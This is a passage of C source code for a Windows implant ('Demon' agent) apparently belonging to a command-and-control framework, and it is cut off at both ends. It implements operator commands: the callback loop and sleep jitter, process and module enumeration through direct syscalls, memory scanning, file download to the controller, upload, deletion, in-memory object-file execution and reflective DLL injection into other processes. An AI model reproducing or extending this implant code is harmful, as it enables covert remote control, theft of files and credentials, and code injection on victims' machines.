DataBufferSize ); Instance->Win32.LocalFree( DataBuffer ); DataBuffer = NULL; ParserDestroy( &Parser ); ParserDestroy( &TaskParser ); } else { #ifdef TRANSPORT_HTTP PUTS( "TransportSend: Failed" ) break; #endif } /* Check if there is something that a process output is available or check if the jobs are still alive. */ JobCheckList(); /* Check if we have something in our Pivots connection and sends back the output from the pipes */ PivotPush(); /* push any download chunks we have. */ DownloadPush(); /* push any dotnet output we have. */ DotnetPush(); /* push any new clients or output from the sockets */ SocketPush(); } while ( TRUE ); Instance->Session.Connected = FALSE; PUTS( "Out of while loop" ) } VOID CommandCheckin( PPARSER Parser ) { PUTS( "Checkin" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_CHECKIN ); DemonMetaData( &Package, FALSE ); PackageTransmit( Package ); } VOID CommandSleep( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_SLEEP ); Instance->Config.Sleeping = ParserGetInt32( Parser ); Instance->Config.Jitter = ParserGetInt32( Parser ); PRINTF( "Instance->Sleeping: [%d]\n", Instance->Config.Sleeping ); PRINTF( "Instance->Jitter : [%d]\n", Instance->Config.Jitter ); PackageAddInt32( Package, Instance->Config.Sleeping ); PackageAddInt32( Package, Instance->Config.Jitter ); PackageTransmit( Package ); } VOID CommandJob( PPARSER Parser ) { PUTS( "Job" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_JOB ); DWORD Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_JOB_LIST: { PUTS( "Job::list" ) PJOB_DATA JobList = Instance->Jobs; do { if ( JobList ) { PRINTF( "Job => JobID:[%d] Type:[%d] State:[%d]\n", JobList->JobID, JobList->Type, JobList->State ) PackageAddInt32( Package, JobList->JobID ); PackageAddInt32( Package, JobList->Type ); PackageAddInt32( Package, JobList->State ); JobList = JobList->Next; } else break; } while ( TRUE ); break; } case DEMON_COMMAND_JOB_SUSPEND: { PUTS( "Job::suspend" ) DWORD JobID = ParserGetInt32( Parser ); BOOL Success = JobSuspend( JobID ); PRINTF( "JobID:[%d] Success:[%d]", JobID, Success ) PackageAddInt32( Package, JobID ); PackageAddInt32( Package, Success ); break; } case DEMON_COMMAND_JOB_RESUME: { PUTS( "Job::resume" ) DWORD JobID = ParserGetInt32( Parser ); BOOL Success = JobResume( JobID ); PackageAddInt32( Package, JobID ); PackageAddInt32( Package, Success ); break; } case DEMON_COMMAND_JOB_KILL_REMOVE: { PUTS( "Job::kill" ) DWORD JobID = ParserGetInt32( Parser ); BOOL Success = JobKill( JobID ); PackageAddInt32( Package, JobID ); PackageAddInt32( Package, Success ); break; } } PackageTransmit( Package ); } VOID CommandProc( PPARSER Parser ) { SHORT SubCommand = ( SHORT ) ParserGetInt32( Parser ); PPACKAGE Package = PackageCreate( DEMON_COMMAND_PROC ); PackageAddInt32( Package, SubCommand ); switch ( SubCommand ) { case DEMON_COMMAND_PROC_MODULES: PUTS( "Proc::Modules" ) { PROCESS_BASIC_INFORMATION ProcessBasicInfo = { 0 }; UINT32 ProcessID = 0; HANDLE hProcess = NtCurrentProcess(); NTSTATUS NtStatus = STATUS_SUCCESS; if ( Parser->Length > 0 ) { ProcessID = ParserGetInt32( Parser ); hProcess = ProcessOpen( ProcessID, PROCESS_ALL_ACCESS ); if ( ! hProcess ) { PACKAGE_ERROR_WIN32 break; } } NtStatus = SysNtQueryInformationProcess( hProcess, ProcessBasicInformation, &ProcessBasicInfo, sizeof( PROCESS_BASIC_INFORMATION ), 0 ); if ( NT_SUCCESS( NtStatus ) ) { PPEB_LDR_DATA LoaderData = NULL; PLIST_ENTRY ListHead, ListEntry = NULL; SIZE_T Size = 0; LDR_DATA_TABLE_ENTRY CurrentModule = { 0 }; WCHAR ModuleNameW[ MAX_PATH ] = { 0 }; CHAR ModuleName[ MAX_PATH ] = { 0 }; PackageAddInt32( Package, ProcessID ); if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, &ProcessBasicInfo.PebBaseAddress->Ldr, &LoaderData, sizeof( PPEB_LDR_DATA ), &Size ) ) ) { ListHead = & LoaderData->InMemoryOrderModuleList; Size = 0; if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, &LoaderData->InMemoryOrderModuleList.Flink, &ListEntry, sizeof( PLIST_ENTRY ), NULL ) ) ) { while ( ListEntry != ListHead ) { if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, CONTAINING_RECORD( ListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks ), &CurrentModule, sizeof( CurrentModule ), NULL ) ) ) { SysNtReadVirtualMemory( hProcess, CurrentModule.FullDllName.Buffer, &ModuleNameW, CurrentModule.FullDllName.Length, &Size ); if ( CurrentModule.FullDllName.Length > 0 ) { Size = WCharStringToCharString( ModuleName, ModuleNameW, CurrentModule.FullDllName.Length ); PackageAddString( Package, ModuleName ); PackageAddPtr( Package, CurrentModule.DllBase ); } MemSet( ModuleNameW, 0, MAX_PATH ); MemSet( ModuleName, 0, MAX_PATH ); ListEntry = CurrentModule.InMemoryOrderLinks.Flink; } } } } } if ( hProcess ) { SysNtClose( hProcess ); } break; } case DEMON_COMMAND_PROC_GREP: PUTS("Proc::Grep") { PSYSTEM_PROCESS_INFORMATION SysProcessInfo = NULL; PSYSTEM_PROCESS_INFORMATION PtrProcessInfo = NULL; /* is going to hold the original pointer of SysProcessInfo */ SIZE_T ProcessInfoSize = 0; NTSTATUS NtStatus = STATUS_SUCCESS; ULONG32 ProcessSize = 0; PWCHAR ProcessName = NULL; /* Process User token */ BUFFER UserDomain = { 0 }; ProcessName = ParserGetWString( Parser, &ProcessSize ); if ( NT_SUCCESS( NtStatus = ProcessSnapShot( &SysProcessInfo, &ProcessInfoSize ) ) ) { PRINTF( "SysProcessInfo: %p\n", SysProcessInfo ); /* save the original pointer to free */ PtrProcessInfo = SysProcessInfo; while ( TRUE ) { PVOID MemRet = WcsIStr( SysProcessInfo->ImageName.Buffer, ProcessName ); if ( MemRet != NULL ) { HANDLE hProcess = NULL; HANDLE hToken = NULL; hProcess = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ) , ( Instance->Session.OSVersion > WIN_VERSION_XP ) ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION ); if ( ! hProcess ) continue; if ( NT_SUCCESS( SysNtOpenProcessToken( hProcess, TOKEN_QUERY, &hToken ) ) ) { if ( TokenQueryOwner( hToken, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { /* well successful called the token user/domain query. continue */ } } PackageAddWString( Package, SysProcessInfo->ImageName.Buffer ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) SysProcessInfo->UniqueProcessId ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) SysProcessInfo->InheritedFromUniqueProcessId ); PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length ); PackageAddInt32( Package, ProcessIsWow( hProcess ) ? 86 : 64 ); if ( hProcess ) { SysNtClose( hProcess ); hProcess = NULL; } if ( hToken ) { SysNtClose( hToken ); hToken = NULL; } if ( UserDomain.Buffer ) { MemZero( UserDomain.Buffer, UserDomain.Length ); MmHeapFree( UserDomain.Buffer ); UserDomain.Buffer = NULL; } } if ( SysProcessInfo->NextEntryOffset == 0 ) break; SysProcessInfo = C_PTR( U_PTR( SysProcessInfo ) + SysProcessInfo->NextEntryOffset ); } if ( PtrProcessInfo ) { MemSet( PtrProcessInfo, 0, ProcessInfoSize ); MmHeapFree( PtrProcessInfo ); PtrProcessInfo = NULL; SysProcessInfo = NULL; } } else { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); CALLBACK_ERROR_WIN32; } break; } case DEMON_COMMAND_PROC_CREATE: PUTS( "Proc::Create" ) { PROCESS_INFORMATION ProcessInfo = { 0 }; UINT32 ProcessSize = 0; UINT32 ProcessArgsSize = 0; UINT32 ProcessState = ParserGetInt32( Parser ); PWCHAR Process = ParserGetWString( Parser, &ProcessSize ); PWCHAR ProcessArgs = ParserGetWString( Parser, &ProcessArgsSize ); BOOL ProcessPiped = ParserGetInt32( Parser ); BOOL ProcessVerbose = ParserGetInt32( Parser ); BOOL Success = FALSE; if ( ProcessSize == 0 ) Process = NULL; if ( ProcessArgsSize == 0 ) ProcessArgs = NULL; PRINTF( "Process State : %d\n", ProcessState ); PRINTF( "Process : %ls [%d]\n", Process, ProcessSize ); PRINTF( "Process Args : %ls [%d]\n", ProcessArgs, ProcessArgsSize ); PRINTF( "Process Piped : %s [%d]\n", ProcessPiped ? "TRUE" : "FALSE", ProcessPiped ); PRINTF( "Process Verbose : %s [%d]\n", ProcessVerbose ? "TRUE" : "FALSE", ProcessVerbose ); // TODO: make it optional to choose process arch Success = ProcessCreate( TRUE, Process, ProcessArgs, ProcessState, &ProcessInfo, ProcessPiped, NULL ); PackageAddWString( Package, Process ); PackageAddInt32( Package, Success ? ProcessInfo.dwProcessId : 0 ); PackageAddInt32( Package, Success ); PackageAddInt32( Package, ProcessPiped ); PackageAddInt32( Package, ProcessVerbose ); if ( Success ) { SysNtClose( ProcessInfo.hThread ); if ( ! ProcessPiped ) SysNtClose( ProcessInfo.hProcess ); PRINTF( "Successful spawned process: %d\n", ProcessInfo.dwProcessId ); } break; } case DEMON_COMMAND_PROC_MEMORY: PUTS( "Proc::Memory" ) { DWORD ProcessID = ParserGetInt32( Parser ); DWORD QueryProtec = ParserGetInt32( Parser ); MEMORY_BASIC_INFORMATION MemInfo = {}; LPVOID Offset = 0; SIZE_T Result = 0; HANDLE hProcess = NULL; hProcess = ProcessOpen( ProcessID, PROCESS_ALL_ACCESS ); if ( hProcess ) { PackageAddInt32( Package, ProcessID ); PackageAddInt32( Package, QueryProtec ); while ( NT_SUCCESS( SysNtQueryVirtualMemory( hProcess, Offset, MemoryBasicInformation, &MemInfo, sizeof( MemInfo ), &Result ) ) ) { Offset = C_PTR( U_PTR( MemInfo.BaseAddress ) + MemInfo.RegionSize ); if ( MemInfo.Type != MEM_FREE ) { if ( MemInfo.AllocationBase != 0 ) { if ( QueryProtec == 0 ) { // Since the Protection to query isn't specified we just list every memory region PackageAddPtr( Package, MemInfo.BaseAddress ); PackageAddInt32( Package, MemInfo.RegionSize ); PackageAddInt32( Package, MemInfo.AllocationProtect ); PackageAddInt32( Package, MemInfo.State ); PackageAddInt32( Package, MemInfo.Type ); } else { if ( QueryProtec == MemInfo.AllocationProtect ) { PRINTF( "Search for memory region: %d\n", QueryProtec ) // Add found memory region with specified memory protection PackageAddPtr( Package, MemInfo.BaseAddress ); PackageAddInt32( Package, MemInfo.RegionSize ); PackageAddInt32( Package, MemInfo.AllocationProtect ); PackageAddInt32( Package, MemInfo.State ); PackageAddInt32( Package, MemInfo.Type ); } } } } } Offset = NULL; } if ( hProcess ) { SysNtClose( hProcess ); hProcess = NULL; } break; } case DEMON_COMMAND_PROC_KILL: PUTS( "Proc::Kill" ) { DWORD dwProcessID = ParserGetInt32( Parser ); HANDLE hProcess = NULL; hProcess = ProcessOpen( dwProcessID, PROCESS_TERMINATE ); if ( hProcess ) Instance->Win32.TerminateProcess( hProcess, 0 ); PackageAddInt32( Package, hProcess ? TRUE : FALSE ); PackageAddInt32( Package, dwProcessID ); if ( hProcess ) { SysNtClose( hProcess ); hProcess = NULL; } break; } } // TODO: handle error PackageTransmit( Package ); } /*! * get current list of running processes * and sends it back to the server. * * TODO: refactor this. * * @param Parser */ VOID CommandProcList( IN PPARSER Parser ) { PSYS_PROC_INFO SysProcessInfo = { 0 }; PSYS_PROC_INFO SysProcessPtr = { 0 }; /* is going to hold the original pointer of SysProcessInfo */ SIZE_T ProcessInfoSize = { 0 }; PPACKAGE Package = { 0 }; DWORD ProcessUI = { 0 }; HANDLE Token = { 0 }; HANDLE Process = { 0 }; BUFFER UserDomain = { 0 }; BOOL x86 = FALSE; NTSTATUS NtStatus = STATUS_SUCCESS; /* try to take a snapshot of current running processes */ if ( NT_SUCCESS( NtStatus = ProcessSnapShot( &SysProcessInfo, &ProcessInfoSize ) ) ) { PRINTF( "SysProcessInfo: %p : %d\n", SysProcessInfo, ProcessInfoSize ); /* save the original pointer to free */ SysProcessPtr = SysProcessInfo; /* Create our package */ Package = PackageCreate( DEMON_COMMAND_PROC_LIST ); ProcessUI = ParserGetInt32( Parser ); /* TODO: change from bool to process list id (what client requested it) */ /* did we get this request from the Client Process Explorer or Console ? */ PackageAddInt32( Package, ProcessUI ); do { /* open handle to each process with query information privilege since we don't need anything else besides basic info */ Process = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ), Instance->Session.OSVersion > WIN_VERSION_XP ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION ); /* query data based on the process handle */ if ( Process ) { /* open a process token handle */ if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( Process, TOKEN_QUERY, &Token ) ) ) { /* query the username and domain */ if ( ! TokenQueryOwner( Token, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { PUTS( "Failed to get Username and Domain\n" ); } else { PRINTF( "UserDomain: %ls\n", UserDomain.Buffer ) } } else { PRINTF( "NtOpenProcessToken Failed => %lx\n", NtStatus ) } /* check if the process handle is wow64 */ x86 = ProcessIsWow( Process ); } /* Now we append the collected process data to the process list */ PackageAddBytes( Package, SysProcessInfo->ImageName.Buffer, SysProcessInfo->ImageName.Length ); PackageAddInt32( Package, U_PTR( SysProcessInfo->UniqueProcessId ) ); PackageAddInt32( Package, x86 ); PackageAddInt32( Package, U_PTR( SysProcessInfo->InheritedFromUniqueProcessId ) ); PackageAddInt32( Package, SysProcessInfo->SessionId ); PackageAddInt32( Package, SysProcessInfo->NumberOfThreads ); PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length ); #ifdef DEBUG /* ignore this. is just for the debug prints. * if we close the handle to our own process we won't see any debug prints anymore */ if ( U_PTR( SysProcessInfo->UniqueProcessId ) != Instance->Session.PID ) { SysNtClose( Process ); Process = NULL; } #else if ( Process ) { SysNtClose( Process ); Process = NULL; } #endif if ( Token ) { SysNtClose( Token ); Token = NULL; } if ( UserDomain.Buffer ) { MemZero( UserDomain.Buffer, UserDomain.Length ); MmHeapFree( UserDomain.Buffer ); UserDomain.Buffer = NULL; UserDomain.Length = 0; } /* there are no processes left. */ if ( ! SysProcessInfo->NextEntryOffset ) { break; } /* now go to the next process */ SysProcessInfo = C_PTR( U_PTR( SysProcessInfo ) + SysProcessInfo->NextEntryOffset ); } while ( TRUE ); PackageTransmit( Package ); /* Free our process list */ if ( SysProcessPtr ) { MemZero( SysProcessPtr, ProcessInfoSize ); MmHeapFree( SysProcessPtr ); SysProcessPtr = NULL; SysProcessInfo = NULL; } } else { PACKAGE_ERROR_NTSTATUS( NtStatus ) } } VOID CommandFS( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_FS ); DWORD Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_FS_DIR: PUTS( "FS::Dir" ) { LPWSTR TargetFolder = NULL; LPWSTR Path = NULL; BOOL FileExplorer = FALSE; PROOT_DIR RootDir = NULL; PROOT_DIR TmpRootDir = NULL; BOOL SubDirs = FALSE; BOOL FilesOnly = FALSE; BOOL DirsOnly = FALSE; BOOL ListOnly = FALSE; LPWSTR Starts = NULL; LPWSTR Contains = NULL; LPWSTR Ends = NULL; PDIR_OR_FILE DirOrFile = NULL; PDIR_OR_FILE TmpDirOrFile = NULL; UINT32 PathSize = NULL; FileExplorer = ParserGetBool( Parser ); TargetFolder = ParserGetWString( Parser, NULL ); SubDirs = ParserGetBool( Parser ); FilesOnly = ParserGetBool( Parser ); DirsOnly = ParserGetBool( Parser ); ListOnly = ParserGetBool( Parser ); Starts = ParserGetWString( Parser, NULL ); Contains = ParserGetWString( Parser, NULL ); Ends = ParserGetWString( Parser, NULL ); Starts = Starts[ 0 ] ? Starts : NULL; Contains = Contains[ 0 ] ? Contains : NULL; Ends = Ends[ 0 ] ? Ends : NULL; Path = Instance->Win32.LocalAlloc( LPTR, MAX_PATH * sizeof( WCHAR ) ); if ( TargetFolder[ 0 ] == L'.' ) { if ( ! Instance->Win32.GetCurrentDirectoryW( MAX_PATH, Path ) ) { PRINTF( "Failed to get current dir: %d\n", NtGetLastError() ); DATA_FREE( Path, MAX_PATH * sizeof( WCHAR ) ); break; } PathSize = StringLengthW( Path ); if ( Path[ PathSize - 1 ] != 0x5c ) Path[ PathSize++ ] = 0x5c; Path[ PathSize++ ] = 0x2a; Path[ PathSize ] = 0x00; } else { MemCopy( Path, TargetFolder, MAX_PATH * sizeof( WCHAR ) ); } PRINTF( "Path: %ls\n", Path ) /* * TODO: make listDir not recursive, * right now, we avoid stack overflows by iterating 10 times tops * otherweise, this function is known to crash if the * search space is too vast */ RootDir = listDir( Path, SubDirs, FilesOnly, DirsOnly, Starts, Contains, Ends, 10 ); PackageAddBool( Package, FileExplorer ); PackageAddBool( Package, ListOnly ); PackageAddWString( Package, Path ); PackageAddBool( Package, RootDir ? TRUE : FALSE ); while ( RootDir ) { if ( ! ( ListOnly && RootDir->NumFiles + RootDir->NumFolders == 0 ) ) { PackageAddWString( Package, RootDir->Path ); PackageAddInt32( Package, RootDir->NumFiles ); PackageAddInt32( Package, RootDir->NumFolders ); if ( ! ListOnly ) { PackageAddInt64( Package, RootDir->TotalFileSize ); } DirOrFile = RootDir->Content; while ( DirOrFile ) { PackageAddWString( Package, DirOrFile->FileName ); if ( ! ListOnly ) { PackageAddBool( Package, DirOrFile->IsDir ); PackageAddInt64( Package, DirOrFile->Size ); PackageAddInt32( Package, DirOrFile->FileTime.wDay ); PackageAddInt32( Package, DirOrFile->FileTime.wMonth ); PackageAddInt32( Package, DirOrFile->FileTime.wYear ); PackageAddInt32( Package, DirOrFile->SystemTime.wMinute ); PackageAddInt32( Package, DirOrFile->SystemTime.wHour ); } TmpDirOrFile = DirOrFile->Next; DATA_FREE( DirOrFile, sizeof( DIR_OR_FILE ) ); DirOrFile = TmpDirOrFile; } } TmpRootDir = RootDir->Next; DATA_FREE( RootDir, sizeof( ROOT_DIR ) ); RootDir = TmpRootDir; } DATA_FREE( Path, MAX_PATH * sizeof( WCHAR ) ); break; } case DEMON_COMMAND_FS_DOWNLOAD: PUTS( "FS::Download" ) { PDOWNLOAD_DATA Download = NULL; BUFFER FileName = { 0 }; PVOID Buffer = NULL; HANDLE hFile = NULL; BOOL Success = TRUE; WCHAR FilePath[ MAX_PATH * 2 ] = { 0 }; WCHAR PathSize = MAX_PATH * 2; LARGE_INTEGER FileSize = { 0 }; Buffer = ParserGetBytes( Parser, &FileName.Length ); FileName.Buffer = MmHeapAlloc( FileName.Length + sizeof( WCHAR ) ); MemCopy( FileName.Buffer, Buffer, FileName.Length ); PRINTF( "FileName => %ls\n", FileName.Buffer ) hFile = Instance->Win32.CreateFileW( FileName.Buffer, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupDownload; } PathSize = Instance->Win32.GetFullPathNameW( FileName.Buffer, PathSize, FilePath, NULL ); PRINTF( "FilePath.Buffer[%d]: %ls\n", PathSize, FilePath ) if ( ! Instance->Win32.GetFileSizeEx( hFile, &FileSize ) ) { PUTS( "GetFileSizeEx: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupDownload; } /* Start our download. */ Download = DownloadAdd( hFile, FileSize.QuadPart ); /* * Download Header: * [ Mode ] Open ( 0 ), Write ( 1 ) or Close ( 2 ) * [ File ID ] Download File ID * * Data (Open): * [ File Size ] * [ File Name ] * * Data (Write) * [ Chunk Data ] Size + FileChunk * * Data (Close): * [ Reason ] Removed or Finished * */ /* Download Header */ PackageAddInt32( Package, DOWNLOAD_MODE_OPEN ); PackageAddInt32( Package, Download->FileID ); /* Download Open Data */ PackageAddInt64( Package, FileSize.QuadPart ); if ( PathSize > 0 ) PackageAddWString( Package, FilePath ); else PackageAddWString( Package, FileName.Buffer ); CleanupDownload: PUTS( "CleanupDownload" ) if ( FileName.Buffer ) { MemSet( FileName.Buffer, 0, FileName.Length ); MmHeapFree( FileName.Buffer ); FileName.Buffer = NULL; } if ( ! Success ) goto CLEAR_LEAVE; break; } case DEMON_COMMAND_FS_UPLOAD: PUTS( "FS::Upload" ) { DWORD FileSize = 0; UINT32 NameSize = 0; DWORD Written = 0; HANDLE hFile = NULL; LPWSTR FileName = ParserGetWString( Parser, &NameSize ); ULONG MemFileID = ParserGetInt32( Parser ); PMEM_FILE MemFile = GetMemFile( MemFileID ); BOOL Success = TRUE; PVOID Content = NULL; // TODO: handle error and communicate to the TS if ( MemFile && MemFile->IsCompleted ) { Content = MemFile->Data; FileSize = MemFile->Size; } else if ( MemFile && ! MemFile->IsCompleted ) { PRINTF( "MemFile [%x] was not completed\n", MemFileID ); Success = FALSE; goto CleanupUpload; } else { PRINTF( "MemFile [%x] not found\n", MemFileID ); Success = FALSE; goto CleanupUpload; } PRINTF( "FileName[%d] => %ls\n", FileSize, FileName ) hFile = Instance->Win32.CreateFileW( FileName, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupUpload; } if ( ! Instance->Win32.WriteFile( hFile, Content, FileSize, &Written, NULL ) ) { PUTS( "WriteFile: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupUpload; } PackageAddInt32( Package, FileSize ); PackageAddWString( Package, FileName ); CleanupUpload: if ( hFile ) { SysNtClose( hFile ); hFile = NULL; } if ( ! Success ) { goto CLEAR_LEAVE; } break; } case DEMON_COMMAND_FS_CD: PUTS( "FS::Cd" ) { UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); if ( ! Instance->Win32.SetCurrentDirectoryW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { PackageAddWString( Package, Path ); } break; } case DEMON_COMMAND_FS_REMOVE: PUTS( "FS::Remove" ) { UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); DWORD dwAttrib = Instance->Win32.GetFileAttributesW( Path ); if ( dwAttrib != INVALID_FILE_ATTRIBUTES && ( dwAttrib & FILE_ATTRIBUTE_DIRECTORY ) ) { if ( ! Instance->Win32.RemoveDirectoryW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { PackageAddInt32( Package, TRUE ); } } else { if ( ! Instance->Win32.DeleteFileW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { PackageAddInt32( Package, FALSE ); } } PackageAddWString( Package, Path ); break; } case DEMON_COMMAND_FS_MKDIR: PUTS( "FS::Mkdir" ) { UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); if ( ! Instance->Win32.CreateDirectoryW( Path, NULL ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } PackageAddWString( Package, Path ); break; } case DEMON_COMMAND_FS_COPY: PUTS( "FS::Copy" ) { UINT32 FromSize = 0; UINT32 ToSize = 0; LPWSTR PathFrom = NULL; LPWSTR PathTo = NULL; BOOL Success = FALSE; PathFrom = ParserGetWString( Parser, &FromSize ); PathTo = ParserGetWString( Parser, &ToSize ); PRINTF( "Copy file %ls to %ls\n", PathFrom, PathTo ) Success = Instance->Win32.CopyFileW( PathFrom, PathTo, FALSE ); if ( ! Success ) { PACKAGE_ERROR_WIN32 } PackageAddInt32( Package, Success ); PackageAddWString( Package, PathFrom ); PackageAddWString( Package, PathTo ); break; } case DEMON_COMMAND_FS_MOVE: PUTS( "FS::Move" ) { UINT32 FromSize = 0; UINT32 ToSize = 0; LPWSTR PathFrom = NULL; LPWSTR PathTo = NULL; BOOL Success = FALSE; PathFrom = ParserGetWString( Parser, &FromSize ); PathTo = ParserGetWString( Parser, &ToSize ); PRINTF( "Move file %ls to %ls\n", PathFrom, PathTo ) Success = Instance->Win32.MoveFileExW( PathFrom, PathTo, MOVEFILE_REPLACE_EXISTING ); if ( ! Success ) { PACKAGE_ERROR_WIN32 } PackageAddInt32( Package, Success ); PackageAddWString( Package, PathFrom ); PackageAddWString( Package, PathTo ); break; } case DEMON_COMMAND_FS_GET_PWD: PUTS( "FS::GetPwd" ) { WCHAR Path[ MAX_PATH * 2 ] = { 0 }; DWORD Return = 0; if ( ! ( Return = Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) ) { PRINTF( "Failed to get current dir: %d\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } else { PackageAddWString( Package, Path ); } break; } case DEMON_COMMAND_FS_CAT: PUTS( "FS::Cat" ) { DWORD FileSize = 0; UINT32 NameSize = 0; LPWSTR FileName = ParserGetWString( Parser, &NameSize ); PVOID Content = NULL; BOOL Success = FALSE; PRINTF( "FileName => %ls\n", FileName ) Success = ReadLocalFile( FileName, &Content, &FileSize ); PackageAddWString( Package, FileName ); PackageAddInt32( Package, Success ); PackageAddBytes( Package, Content, FileSize ); if ( Content ) { MemSet( Content, 0, FileSize ); Instance->Win32.LocalFree( Content ); Content = NULL; } break; } default: { PRINTF( "FS SubCommand not found: %d : %x\n", Command, Command ); break; } } PackageTransmit( Package ); return; CLEAR_LEAVE: PackageDestroy( Package ); Package = NULL; } VOID CommandInlineExecute( PPARSER Parser ) { UINT32 FunctionNameSize = 0; DWORD ObjectDataSize = 0; PCHAR ArgBuffer = NULL; UINT32 ArgSize = 0; PCHAR ObjectData = NULL; PMEM_FILE BofMemFile = NULL; PMEM_FILE ParamsMemFile = NULL; UINT32 RequestID = Instance->CurrentRequestID; PCHAR FunctionName = ParserGetString( Parser, &FunctionNameSize ); ULONG BofFileID = ParserGetInt32( Parser ); ULONG ParamsFileID = ParserGetInt32( Parser ); INT32 Flags = ParserGetInt32( Parser ); BofMemFile = GetMemFile( BofFileID ); if ( BofMemFile && BofMemFile->IsCompleted ) { ObjectData = BofMemFile->Data; ObjectDataSize = BofMemFile->Size; } else if ( BofMemFile && ! BofMemFile->IsCompleted ) { PRINTF( "BofMemFile [%x] was not completed\n", BofFileID ); goto CLEANUP; } else { PRINTF( "BofMemFile [%x] not found\n", BofFileID ); goto CLEANUP; } ParamsMemFile = GetMemFile( ParamsFileID ); if ( ParamsMemFile && ParamsMemFile->IsCompleted ) { ArgBuffer = ParamsMemFile->Data; ArgSize = ParamsMemFile->Size; } else if ( ParamsMemFile && ! ParamsMemFile->IsCompleted ) { PRINTF( "ParamsMemFile [%x] was not completed\n", ParamsFileID ); goto CLEANUP; } else { PRINTF( "ParamsMemFile [%x] not found\n", ParamsFileID ); goto CLEANUP; } switch ( Flags ) { case 0: { PUTS( "Use Non-Threaded CoffeeLdr" ) CoffeeLdr( FunctionName, ObjectData, ArgBuffer, ArgSize, RequestID ); break; } case 1: { PUTS( "Use Threaded CoffeeRunner" ) CoffeeRunner( FunctionName, FunctionNameSize, ObjectData, ObjectDataSize, ArgBuffer, ArgSize, RequestID ); break; } default: { PUTS( "Use default (from config) CoffeeLdr" ) if ( Instance->Config.Implant.CoffeeThreaded ) { PUTS( "Config is set to threaded" ) CoffeeRunner( FunctionName, FunctionNameSize, ObjectData, ObjectDataSize, ArgBuffer, ArgSize, RequestID ); } else { PUTS( "Config is set to non-threaded" ) CoffeeLdr( FunctionName, ObjectData, ArgBuffer, ArgSize, RequestID ); } break; } } CLEANUP: RemoveMemFile( BofFileID ); RemoveMemFile( ParamsFileID ); } VOID CommandInjectDLL( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_INJECT_DLL ); UINT32 DllSize = 0; DWORD Result = 1; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; PBYTE DllBytes = NULL; UINT32 DllLdrSize = 0; PBYTE DllLdr = NULL; HANDLE hProcess = NULL; OBJECT_ATTRIBUTES ObjAttr = { sizeof( ObjAttr ) }; INJECTION_CTX InjCtx = { 0 }; InjCtx.Technique = ParserGetInt32( Parser ); InjCtx.ProcessID = ParserGetInt32( Parser ); DllLdr = ParserGetBytes( Parser, &DllLdrSize ); DllBytes = ParserGetBytes( Parser, &DllSize ); InjCtx.Parameter = ParserGetBytes( Parser, &InjCtx.ParameterSize ); PUTS( "CommandInjectDLL" ) PRINTF( "Technique: %d\n", InjCtx.Technique ) PRINTF( "ProcessID: %d\n", InjCtx.ProcessID ) PRINTF( "DllBytes : %x [%d]\n", DllBytes, DllSize ); PRINTF( "Parameter: %x [%d]\n", InjCtx.Parameter, InjCtx.ParameterSize ); hProcess = ProcessOpen( InjCtx.ProcessID, PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION ); if ( hProcess ) { Result = DllInjectReflective( hProcess, DllLdr, DllLdrSize, DllBytes, DllSize, InjCtx.Parameter, InjCtx.ParameterSize, &InjCtx ); SysNtClose( hProcess ); } else { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } PRINTF( "Injected Result: %d\n", Result ) PackageAddInt32( Package, Result ); PackageTransmit( Package ); } VOID CommandSpawnDLL( PPARSER Parser ) { PPACKAGE Package = NULL; INJECTION_CTX InjCtx = { 